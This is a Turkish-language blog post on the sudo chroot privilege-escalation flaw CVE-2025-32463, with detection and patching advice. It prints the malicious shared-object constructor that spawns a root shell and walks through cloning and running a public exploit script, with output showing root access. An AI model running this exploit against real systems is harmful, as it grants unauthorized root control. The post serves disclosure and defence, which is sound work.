CVE: Sudo Chroot CVE-2025-32463
Sudo Chroot: CVE-2025-32463 zafiyeti hakkında detaylı bilgiler ve sömürü yöntemini ele alacağız.
Bu yazımda, kısa bir süre önce yayınlanan ve sudo’nun chroot (chwoot) fonksiyonunu etkileyen kritik bir yerel yetki yükseltme zafiyeti olan CVE-2025-32463
‘ü inceleyeceğiz. Bu açık, sistemde sudo kuralı tanımlı olmayan sıradan kullanıcıların bile root yetkileri elde etmesine olanak tanımaktadır.
Nasıl Çalışıyor?
Zafiyet, sudo’nun -R
veya --chroot
parametresinin kullanımı sırasında, belirtilen kök dizine (chroot dizini) geçilerek komut eşleştirme işleminin bu ortamda yapılmasından kaynaklanmaktadır. Bu süreçte, saldırgan chroot dizinine sahte bir /etc/nsswitch.conf
yerleştirerek, sudo’nun kötü niyetli bir shared object dosyasını (libnss_*.so) yüklemesini sağlayabilir.
Bu dosya sayesinde, sistemde root haklarıyla bir shell başlatılabilir.
Etkilenen Versiyonlar
- Sudo 1.9.14 – 1.9.17
Etkilenmeyen sürümler: Sudo <= 1.8.32 (çünkü chroot desteği bu sürümlerde yoktur)
Versiyon kontorolü için şu komutu kullanabilirsiniz: sudo -V | grep "Sudo version"
Zafiyetin Etkisi
Sudo konfigürasyonunda hiçbir izin tanımlanmamış olsa bile, sistemde yüklü olan savunmasız sudo sürümü ile yerel bir kullanıcı root erişimi elde edebilir.
Bu durum, sistemin bütünlüğü, gizliliği ve erişilebilirliği üzerinde ciddi tehditler oluşturur.
Detaylı Teknik Açıklama
Zafiyetin kökeni, sudo’nun chroot()
çağrısını sudoers kuralı eşleştirilmeden önce yapmasıdır. Bu sayede:
pivot_root() ve unpivot_root() ile sistem geçici olarak chroot ortamına alınır,
Bu ortamda
/etc/nsswitch.conf
içindeki servis girdileri işlenir (örn: passwd: /woot1337),Bu girdiler, libnss_woot1337.so.2 gibi saldırgan tarafından hazırlanan .so dosyalarının yüklenmesine sebep olur.
Bu shared object dosyası, constructor niteliğinde bir woot()
fonksiyonu içerir:
1
2
3
4
5
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
execl("/bin/bash", "/bin/bash", NULL);
}
Bu fonksiyon çalıştığında, shell doğrudan root olarak başlatılır.
Nasıl Sömürülür?
İlk olarak sömürü repomuzu aşağıdaki gibi sisteme klonluyoruz:
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
Cloning into 'CVE-2025-32463_chwoot'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 2), reused 9 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
Daha sonra CVE-2025-32463_chwoot
dizinine geçiyoruz:
1
2
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-32463_chwoot
Şimdi de son olarak exploiti çalıştırıyoruz:
1
2
3
4
5
6
┌──(kali㉿kali)-[~/CVE-2025-32463_chwoot]
└─$ ./sudo-chwoot.sh
woot!
┌──(root㉿kali)-[/]
└─# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),126(lpadmin),134(wireshark),136(kaboxer),1000(kali)
Tespit
Sistem loglarında
CHROOT=
içeren sudo komutlarını kontrol edin./etc/sudoers
ve/etc/sudoers.d/
dizinlerindeCHROOT=
veyarunchroot=
içeren satırları arayın.ldapsearch
gibi araçlarla LDAP üzerinden tanımlanmış sudo kurallarını da gözden geçirin.
Önlem ve Güncelleme
Sudo’yu
1.9.17p1
veya daha yeni bir sürüme güncelleyin.Bu güncelleme, sudoers eşleştirme sırasında
chroot()
çağrısını devre dışı bırakır.Gelişmiş sistemlerde AppArmor/SELinux gibi kontrol mekanizmalarıyla sudo komutlarını izole edin.
Referanslar
- https://nvd.nist.gov/vuln/detail/CVE-2025-32463
- https://www.sudo.ws/security/advisories/
- https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
- https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
Okuduğunuz için teşekkür ederim.